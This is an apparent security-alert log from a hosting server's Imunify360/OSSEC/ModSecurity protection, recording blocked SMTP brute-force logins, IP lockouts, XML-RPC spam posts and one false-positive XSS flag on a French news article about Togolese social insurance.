2026-06-17 13:46:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52424: 535 Incorrect authentication data (set_id=gis)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:46:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:46:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:36938: 535 Incorrect authentication data (set_id=corvus)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:46:45 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:46:38 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:89ffe1b274938530d68041fbcf160829be4fecae||Title:6sf4ygflwuq70yz||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>la couverture sociale au togo prend une nouvelle dimension. l\xe2\x80\x99institut national d\xe2\x80\x99assurance maladie (inam) et la caisse de retraites du togo (crt) scellent un mariage en vue de mettre en place un guichet unique de la couverture sociale au profit des travailleurs du secteur public.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il faut pr\xc3\xa9ciser que cette initiative trouve son essence dans la volont\xc3\xa9 des autorit\xc3\xa9s de rendre les services sociaux plus accessibles, plus efficaces et mieux adapt\xc3\xa9s aux besoins des agents de l\xe2\x80\x99\xc3\x89tat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>par ce dispositif, les fonctionnaires et autres travailleurs du secteur public disposeront d\xc3\xa9sormais d\xe2\x80\x99un interlocuteur unique pour l\xe2\x80\x99ensemble de leurs d\xc3\xa9marches li\xc3\xa9es \xc3\xa0 la couverture sociale, qu\xe2\x80\x99il s\xe2\x80\x99agisse de l\xe2\x80\x99assurance maladie ou des prestations de retraite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31006,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31006\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>une r\xc3\xa9forme bien avantageuse</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette r\xc3\xa9forme est avantageuse en termes de simplification administrative. d\xc3\xa9sormais, en centralisant les proc\xc3\xa9dures au sein d\xe2\x80\x99une m\xc3\xaame structure, les usagers n\xe2\x80\x99auront plus \xc3\xa0 d\xc3\xa9multiplier les dossiers ni pi\xc3\xa8ces justificatives aupr\xc3\xa8s de diff\xc3\xa9rentes institutions. cette r\xc3\xa9forme fluidifie ainsi le parcours des b\xc3\xa9n\xc3\xa9ficiaires et r\xc3\xa9duit consid\xc3\xa9rablement les d\xc3\xa9lais de traitement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il faut noter \xc3\xa9galement que la cr\xc3\xa9ation de ce guichet unique permettra une meilleure lisibilit\xc3\xa9 des droits et prestations. partir d\xe2\x80\x99une organisation harmonis\xc3\xa9e, les travailleurs pourront mieux comprendre les m\xc3\xa9canismes de prise en charge, les conditions d\xe2\x80\x99acc\xc3\xa8s aux prestations ainsi que les avantages auxquels ils ont droit tout au long de leur carri\xc3\xa8re et au moment de leur d\xc3\xa9part \xc3\xa0 la retraite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>les avantages sur les plans financier et organisationnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>sur les plans financier et organisationnel, le rapprochement entre l\xe2\x80\x99inam et la crt ouvre la voie \xc3\xa0 d\xe2\x80\x99importantes \xc3\xa9conomies d\xe2\x80\x99\xc3\xa9chelle. la mutualisation des ressources humaines, des outils informatiques et des moyens logistiques contribuera \xc3\xa0 r\xc3\xa9duire les co\xc3\xbbts de fonctionnement du syst\xc3\xa8me tout en am\xc3\xa9liorant son efficacit\xc3\xa9 globale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>avec cette r\xc3\xa9forme, la qualit\xc3\xa9 des services offerts aux assur\xc3\xa9s tend vers une harmonisation. en effet, en mettant fin aux disparit\xc3\xa9s pouvant exister entre les diff\xc3\xa9rentes structures, elle garantit une prise en charge plus coh\xc3\xa9rente et plus \xc3\xa9quitable des b\xc3\xa9n\xc3\xa9ficiaires sur l\xe2\x80\x99ensemble du territoire national.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>la centralisation des donn\xc3\xa9es pour un pilotage strat\xc3\xa9gique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la centralisation des donn\xc3\xa9es et des proc\xc3\xa9dures permettra aussi de renforcer les capacit\xc3\xa9s de pilotage strat\xc3\xa9gique de l\xe2\x80\x99\xc3\x89tat en mati\xc3\xa8re de protection sociale. ainsi donc, avec une vision consolid\xc3\xa9e des informations, les pouvoirs publics pourront mieux anticiper les besoins, \xc3\xa9valuer les politiques sociales et orienter les r\xc3\xa9formes futures en faveur des travailleurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31156,\"width\":\"610px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/cf280d22-5566-4950-b6b8-986b4a8db8fc-724x1024.jpg\" alt=\"\" class=\"wp-image-31156\" style=\"width:610px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>aujourd\xe2\x80\x99hui, le togo affirme son ambition de b\xc3\xa2tir un syst\xc3\xa8me de couverture sociale plus moderne, plus performant et davantage centr\xc3\xa9 sur les attentes des citoyens, dans le cadre de la mise en \xc5\x93uvre progressive de l\xe2\x80\x99assurance maladie universelle. ceci bien \xc3\xa9videmment \xc3\xa0 travers cette collaboration renforc\xc3\xa9e entre l\xe2\x80\x99inam et la crt.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>cr\xc3\xa9do tetteh (in le medium n\xc2\xb0707 du 16 au 22 juin 2026)</strong><strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:46:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:33544: 535 Incorrect authentication data (set_id=tdl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:46:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:65286: 535 Incorrect authentication data (set_id=serimunt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:46:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11046: 535 Incorrect authentication data (set_id=prezzi)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:47:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38064: 535 Incorrect authentication data (set_id=prezzi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:46:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:46:40 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.37.81
country_id: 878675
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/355469257 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:47:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:45214: 535 Incorrect authentication data (set_id=ltx)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:526eab1464545bc89318bb689ddfaeffffb9118a||Title:fvf6qo142x8ehxpfk3||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:47:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:47:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:47:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13550: 535 Incorrect authentication data (set_id=skills)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:47:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:48:02 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:48:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14366: 535 Incorrect authentication data (set_id=cybozu)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:47:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:47:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:52136: 535 Incorrect authentication data (set_id=claudine)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:47:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:12714: 535 Incorrect authentication data (set_id=onlinestore)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 176.19.236.145
country_id: 102358
description:
Jun 17 13:48:19 ns5 pure-ftpd[1984470]: (?@176.19.236.145) [INFO] New connection from 176.19.236.145


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8001ec02d39b4bde2bf75b275fa44a783a88af33||Title:p0se8ranggx5zxt26||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:48:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:48:46 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:48:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:50828: 535 Incorrect authentication data (set_id=algy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:48:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55558: 535 Incorrect authentication data (set_id=genta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:48:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55334: 535 Incorrect authentication data (set_id=md-89)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:48:51 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:48:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:57228: 535 Incorrect authentication data (set_id=awc)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 176.19.236.145
country_id: 102358
description:
Jun 17 13:48:26 ns5 pure-ftpd[1984470]: (?@176.19.236.145) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:48:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:38814: 535 Incorrect authentication data (set_id=manuela)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:48:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:48:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:49:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15370: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ef24f356a68d092169faf382cc9fc2cb6e8f92db||Title:ey9p6aricd0ak7kb||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:49:23 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:49:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:49278: 535 Incorrect authentication data (set_id=infosys)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:49:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33040: 535 Incorrect authentication data (set_id=emarketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:49:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31660: 535 Incorrect authentication data (set_id=financier)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.241.128
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.245.241.128||TA:104.245.241.128||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:50:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12814: 535 Incorrect authentication data (set_id=woofti)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:50:13 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:49:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:49:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:50:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:63316: 535 Incorrect authentication data (set_id=hiring)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:49:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:22420: 535 Incorrect authentication data (set_id=passbolt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:49:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:49:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 17 13:50:15 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:50:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:47046: 535 Incorrect authentication data (set_id=anthony)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:51:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3970: 535 Incorrect authentication data (set_id=woofti)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.158.53.202
country_id: 1643084
description:
Jun 17 13:51:15 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.158.53.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:50:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:7904: 535 Incorrect authentication data (set_id=supervisor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:50:39 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:50:46 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:51:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379604&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704261 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8687c4bbe66381a0b0ce3f839f32fab77f4ba893||Title:f5x4jlfs3vi7tkvf||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:50:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12988: 535 Incorrect authentication data (set_id=brother)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:50:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:48750: 535 Incorrect authentication data (set_id=fin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:51:00 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:51:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:22882: 535 Incorrect authentication data (set_id=srvc57)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:51:13 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:50:23 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:52:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:25022: 535 Incorrect authentication data (set_id=fujisaki)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:51:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:51:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:33334: 535 Incorrect authentication data (set_id=default)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 74.244.119.154
country_id: 2300660
description:
74.244.119.154 - - [17/Jun/2026:13:51:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068648&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Ftag%253Dafrique&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704306 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?tag=afrique" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.6167.1860 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:74.244.119.154


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:51:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:29270: 535 Incorrect authentication data (set_id=stg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:51:58 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e1012b8ae53de40f07dc0dc7c33aac623498d6e||Title:jq2grftt5sr0or7yd||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:51:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:51:58 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:52:12 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:52:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45190: 535 Incorrect authentication data (set_id=i6)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:51:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23332: 535 Incorrect authentication data (set_id=kav)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.136.96
country_id: 1269750
description:
Jun 17 13:51:56 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.136.96 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:52:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64266: 535 Incorrect authentication data (set_id=eu-de)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
